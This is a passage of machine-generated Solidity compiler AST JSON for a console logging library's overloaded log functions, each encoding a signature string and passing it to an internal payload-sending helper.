visibility":"internal"}],"src":"41373:48:14"},"returnParameters":{"id":20618,"nodeType":"ParameterList","parameters":[],"src":"41436:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20654,"nodeType":"FunctionDefinition","src":"41548:192:14","nodes":[],"body":{"id":20653,"nodeType":"Block","src":"41632:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c626f6f6c2c737472696e6729","id":20645,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"41682:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_0454c0793d4a41e5f630eb9a887926f8a67ff9e817a5feb968698354ac9d22fb","typeString":"literal_string \"log(string,address,bool,string)\""},"value":"log(string,address,bool,string)"},{"id":20646,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20633,"src":"41717:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20647,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20635,"src":"41721:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20648,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20637,"src":"41725:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20649,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20639,"src":"41729:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0454c0793d4a41e5f630eb9a887926f8a67ff9e817a5feb968698354ac9d22fb","typeString":"literal_string \"log(string,address,bool,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":20643,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"41658:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20644,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"41662:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"41658:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20650,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41658:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20642,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"41642:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20651,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41642:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20652,"nodeType":"ExpressionStatement","src":"41642:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41557:3:14","parameters":{"id":20640,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20633,"mutability":"mutable","name":"p0","nameLocation":"41575:2:14","nodeType":"VariableDeclaration","scope":20654,"src":"41561:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20632,"name":"string","nodeType":"ElementaryTypeName","src":"41561:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20635,"mutability":"mutable","name":"p1","nameLocation":"41587:2:14","nodeType":"VariableDeclaration","scope":20654,"src":"41579:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20634,"name":"address","nodeType":"ElementaryTypeName","src":"41579:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20637,"mutability":"mutable","name":"p2","nameLocation":"41596:2:14","nodeType":"VariableDeclaration","scope":20654,"src":"41591:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20636,"name":"bool","nodeType":"ElementaryTypeName","src":"41591:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20639,"mutability":"mutable","name":"p3","nameLocation":"41614:2:14","nodeType":"VariableDeclaration","scope":20654,"src":"41600:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20638,"name":"string","nodeType":"ElementaryTypeName","src":"41600:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"41560:57:14"},"returnParameters":{"id":20641,"nodeType":"ParameterList","parameters":[],"src":"41632:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20677,"nodeType":"FunctionDefinition","src":"41746:181:14","nodes":[],"body":{"id":20676,"nodeType":"Block","src":"41821:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c626f6f6c2c626f6f6c29","id":20668,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"41871:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_79884c2bc85eb73c854df1610df373a05f191b834f79cd47a7ab28be2308c039","typeString":"literal_string \"log(string,address,bool,bool)\""},"value":"log(string,address,bool,bool)"},{"id":20669,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20656,"src":"41904:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20670,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20658,"src":"41908:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20671,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20660,"src":"41912:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20672,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20662,"src":"41916:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_79884c2bc85eb73c854df1610df373a05f191b834f79cd47a7ab28be2308c039","typeString":"literal_string \"log(string,address,bool,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":20666,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"41847:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20667,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"41851:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"41847:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20673,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41847:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20665,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"41831:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20674,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"41831:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20675,"nodeType":"ExpressionStatement","src":"41831:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41755:3:14","parameters":{"id":20663,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20656,"mutability":"mutable","name":"p0","nameLocation":"41773:2:14","nodeType":"VariableDeclaration","scope":20677,"src":"41759:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20655,"name":"string","nodeType":"ElementaryTypeName","src":"41759:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20658,"mutability":"mutable","name":"p1","nameLocation":"41785:2:14","nodeType":"VariableDeclaration","scope":20677,"src":"41777:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20657,"name":"address","nodeType":"ElementaryTypeName","src":"41777:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20660,"mutability":"mutable","name":"p2","nameLocation":"41794:2:14","nodeType":"VariableDeclaration","scope":20677,"src":"41789:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20659,"name":"bool","nodeType":"ElementaryTypeName","src":"41789:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20662,"mutability":"mutable","name":"p3","nameLocation":"41803:2:14","nodeType":"VariableDeclaration","scope":20677,"src":"41798:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20661,"name":"bool","nodeType":"ElementaryTypeName","src":"41798:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"41758:48:14"},"returnParameters":{"id":20664,"nodeType":"ParameterList","parameters":[],"src":"41821:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20700,"nodeType":"FunctionDefinition","src":"41933:187:14","nodes":[],"body":{"id":20699,"nodeType":"Block","src":"42011:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c626f6f6c2c6164647265737329","id":20691,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"42061:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_223603bd064d72559a7d519ad0f1c6a8da707a49f5718dfa23a5ccb01bf9ab76","typeString":"literal_string \"log(string,address,bool,address)\""},"value":"log(string,address,bool,address)"},{"id":20692,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20679,"src":"42097:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20693,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20681,"src":"42101:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20694,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20683,"src":"42105:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20695,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20685,"src":"42109:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_223603bd064d72559a7d519ad0f1c6a8da707a49f5718dfa23a5ccb01bf9ab76","typeString":"literal_string \"log(string,address,bool,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":20689,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"42037:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20690,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"42041:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"42037:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20696,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42037:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20688,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"42021:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20697,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42021:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20698,"nodeType":"ExpressionStatement","src":"42021:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"41942:3:14","parameters":{"id":20686,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20679,"mutability":"mutable","name":"p0","nameLocation":"41960:2:14","nodeType":"VariableDeclaration","scope":20700,"src":"41946:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20678,"name":"string","nodeType":"ElementaryTypeName","src":"41946:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20681,"mutability":"mutable","name":"p1","nameLocation":"41972:2:14","nodeType":"VariableDeclaration","scope":20700,"src":"41964:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20680,"name":"address","nodeType":"ElementaryTypeName","src":"41964:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20683,"mutability":"mutable","name":"p2","nameLocation":"41981:2:14","nodeType":"VariableDeclaration","scope":20700,"src":"41976:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20682,"name":"bool","nodeType":"ElementaryTypeName","src":"41976:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20685,"mutability":"mutable","name":"p3","nameLocation":"41993:2:14","nodeType":"VariableDeclaration","scope":20700,"src":"41985:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20684,"name":"address","nodeType":"ElementaryTypeName","src":"41985:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"41945:51:14"},"returnParameters":{"id":20687,"nodeType":"ParameterList","parameters":[],"src":"42011:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20723,"nodeType":"FunctionDefinition","src":"42126:187:14","nodes":[],"body":{"id":20722,"nodeType":"Block","src":"42204:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c616464726573732c75696e7429","id":20714,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"42254:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6eb7943d4272e495e7f5cdeb25ef89b9c3c1042d5c1e0e6e11a8fdc842ff5e02","typeString":"literal_string \"log(string,address,address,uint)\""},"value":"log(string,address,address,uint)"},{"id":20715,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20702,"src":"42290:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20716,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20704,"src":"42294:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20717,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20706,"src":"42298:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20718,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20708,"src":"42302:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6eb7943d4272e495e7f5cdeb25ef89b9c3c1042d5c1e0e6e11a8fdc842ff5e02","typeString":"literal_string \"log(string,address,address,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":20712,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"42230:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20713,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"42234:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"42230:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20719,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42230:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20711,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"42214:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20720,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42214:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20721,"nodeType":"ExpressionStatement","src":"42214:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"42135:3:14","parameters":{"id":20709,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20702,"mutability":"mutable","name":"p0","nameLocation":"42153:2:14","nodeType":"VariableDeclaration","scope":20723,"src":"42139:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20701,"name":"string","nodeType":"ElementaryTypeName","src":"42139:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20704,"mutability":"mutable","name":"p1","nameLocation":"42165:2:14","nodeType":"VariableDeclaration","scope":20723,"src":"42157:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20703,"name":"address","nodeType":"ElementaryTypeName","src":"42157:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20706,"mutability":"mutable","name":"p2","nameLocation":"42177:2:14","nodeType":"VariableDeclaration","scope":20723,"src":"42169:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20705,"name":"address","nodeType":"ElementaryTypeName","src":"42169:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20708,"mutability":"mutable","name":"p3","nameLocation":"42186:2:14","nodeType":"VariableDeclaration","scope":20723,"src":"42181:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20707,"name":"uint","nodeType":"ElementaryTypeName","src":"42181:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"42138:51:14"},"returnParameters":{"id":20710,"nodeType":"ParameterList","parameters":[],"src":"42204:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20746,"nodeType":"FunctionDefinition","src":"42319:198:14","nodes":[],"body":{"id":20745,"nodeType":"Block","src":"42406:111:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c616464726573732c737472696e6729","id":20737,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"42456:36:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_800a1c6756a402b6162ca8653fd8e87e2c52d1c019c876e92eb2980479636a76","typeString":"literal_string \"log(string,address,address,string)\""},"value":"log(string,address,address,string)"},{"id":20738,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20725,"src":"42494:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20739,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20727,"src":"42498:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20740,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20729,"src":"42502:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20741,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20731,"src":"42506:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_800a1c6756a402b6162ca8653fd8e87e2c52d1c019c876e92eb2980479636a76","typeString":"literal_string \"log(string,address,address,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":20735,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"42432:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20736,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"42436:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"42432:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20742,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42432:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20734,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"42416:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20743,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"42416:94:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20744,"nodeType":"ExpressionStatement","src":"42416:94:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"42328:3:14","parameters":{"id":20732,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20725,"mutability":"mutable","name":"p0","nameLocation":"42346:2:14","nodeType":"VariableDeclaration","scope":20746,"src":"42332:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20724,"name":"string","nodeType":"ElementaryTypeName","src":"42332:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20727,"mutability":"mutable","name":"p1","nameLocation":"42358:2:14","nodeType":"VariableDeclaration","scope":20746,"src":"42350:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20726,"name":"address","nodeType":"ElementaryTypeName","src":"42350:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20729,"mutability":"mutable","name":"p2","nameLocation":"42370:2:14","nodeType":"VariableDeclaration","scope":20746,"src":"42362:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20728,"name":"address","nodeType":"ElementaryTypeName","src":"42362:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20731,"mutability":"mutable","name":"p3","nameLocation":"42388:2:14","nodeType":"VariableDeclaration","scope":20746,"src":"42374:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20730,"name":"string","nodeType":"ElementaryTypeName","src":"42374:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"42331:60:14"},"returnParameters":{"id":20733,"nodeType":"ParameterList","parameters":[],"src":"42406:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20769,"nodeType":"FunctionDefinition","src":"42523:187:14","nodes":[],"body":{"id":20768,"nodeType":"Block","src":"42601:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c616464726573732c626f6f6c29","id":20760,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"42651:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_b59dbd60587b4eeae521d5427cbc88bff32729f88aff059e7deb0a3a4320aaf4","typeString":"literal_string \"log(string,address,address,bool)\""},"value":"log(string,address,address,bool)"},{"id":20761,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20748,"src":"42687:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20762,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20750,"src":"42691:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20763,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20752,"src":"42695:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20764,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20754,"src":"42699:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b59dbd60587b4eeae521d5427cbc88bff32729f88aff059e7deb0a3a4320aaf4","typeString":"literal_string \"log(string,address,address,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":20758,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"42627:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20759,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"42631:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"42627:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes 